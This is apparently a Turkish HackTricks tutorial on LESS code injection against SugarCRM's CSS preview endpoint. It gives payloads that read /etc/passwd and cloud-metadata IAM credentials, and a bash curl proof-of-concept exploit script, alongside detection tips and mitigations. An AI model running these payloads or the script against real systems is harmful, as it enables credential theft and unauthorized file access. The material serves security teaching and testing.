LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü @import direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, @import ifadelerinde referans verilen kaynakları alır ve (inline) seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.

Bir uygulama, kullanıcı kontrolündeki girişi daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan rastgele LESS kodu enjekte edebilir. Saldırgan, @import (inline)'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:

  • file:// protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).
  • Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).

Bu teknik, SugarCRM ≤ 14.0.0 (/rest/v10/css/preview uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.

Sömürü

  1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki ?lm=).
  2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
  • ; – önceki bildirimi sonlandırır.
  • } – önceki bloğu kapatır (gerekirse).
  1. Rastgele kaynakları okumak için @import (inline) '<URL>'; kullanın.
  2. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir işaretçi (data: URI) enjekte edin.

Yerel Dosya Okuma

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd dosyasının içeriği, @@END@@ işaretçisinden hemen önce HTTP yanıtında görünecektir.

SSRF – Bulut Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Otomatik PoC (SugarCRM örneği)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Tespit

  • Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş .less veya .css yanıtlarını arayın.
  • Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen "@media all { .preview { ... ${userInput} ... } }" gibi yapıları arayın.
  • Sömürü girişimleri genellikle @import, (inline), file://, http://169.254.169.254 vb. içerir.

Önlemler

  • Güvenilmeyen verileri LESS derleyicisine geçmeyin.
  • Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde kaçırın/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
  • Mümkünse, (inline) import kullanımını devre dışı bırakın veya izin verilen protokolleri https ile sınırlayın.
  • Bağımlılıkları güncel tutun – SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.

Gerçek Dünya Vakaları

ÜrünGü vulnerable EndpointEtki
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin